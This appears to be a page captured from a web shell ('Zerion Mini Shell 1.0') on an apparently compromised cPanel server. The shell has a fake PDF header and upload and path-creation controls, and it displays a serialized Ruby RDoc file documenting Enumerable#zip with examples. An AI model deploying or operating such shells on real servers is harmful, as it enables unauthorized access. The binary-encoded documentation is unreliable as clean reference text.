%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/cpanel/ea-ruby24/root/usr/share/ri/system/Enumerable/
Upload File :
Create Path :
Current File : //opt/cpanel/ea-ruby24/root/usr/share/ri/system/Enumerable/zip-i.ri

U:RDoc::AnyMethod[iI"zip:ETI"Enumerable#zip;TF:publico:RDoc::Markup::Document:@parts[o:RDoc::Markup::Paragraph;	[
I"ATakes one element from <i>enum</i> and merges corresponding ;TI"Celements from each <i>args</i>.  This generates a sequence of ;TI"F<em>n</em>-element arrays, where <em>n</em> is one more than the ;TI"Gcount of arguments.  The length of the resulting sequence will be ;TI"G<code>enum#size</code>.  If the size of any argument is less than ;TI"F<code>enum#size</code>, <code>nil</code> values are supplied. If ;TI"Fa block is given, it is invoked for each output array, otherwise ;TI"$an array of arrays is returned.;To:RDoc::Markup::BlankLineo:RDoc::Markup::Verbatim;	[I"a = [ 4, 5, 6 ]
;TI"b = [ 7, 8, 9 ]
;TI"
;TI";a.zip(b)                 #=> [[4, 7], [5, 8], [6, 9]]
;TI"D[1, 2, 3].zip(a, b)      #=> [[1, 4, 7], [2, 5, 8], [3, 6, 9]]
;TI"9[1, 2].zip(a, b)         #=> [[1, 4, 7], [2, 5, 8]]
;TI"Ja.zip([1, 2], [8])       #=> [[4, 1, 8], [5, 2, nil], [6, nil, nil]]
;TI"
;TI"c = []
;TI"-a.zip(b) { |x, y| c << x + y }  #=> nil
;TI"5c                               #=> [11, 13, 15];T:@format0:
@fileI"enum.c;T:0@omit_headings_from_table_of_contents_below0I"ienum.zip(arg, ...)                  -> an_array_of_array
enum.zip(arg, ...) { |arr| block }  -> nil
;T0[I"(*args);T@#FI"Enumerable;TcRDoc::NormalModule00

Zerion Mini Shell 1.0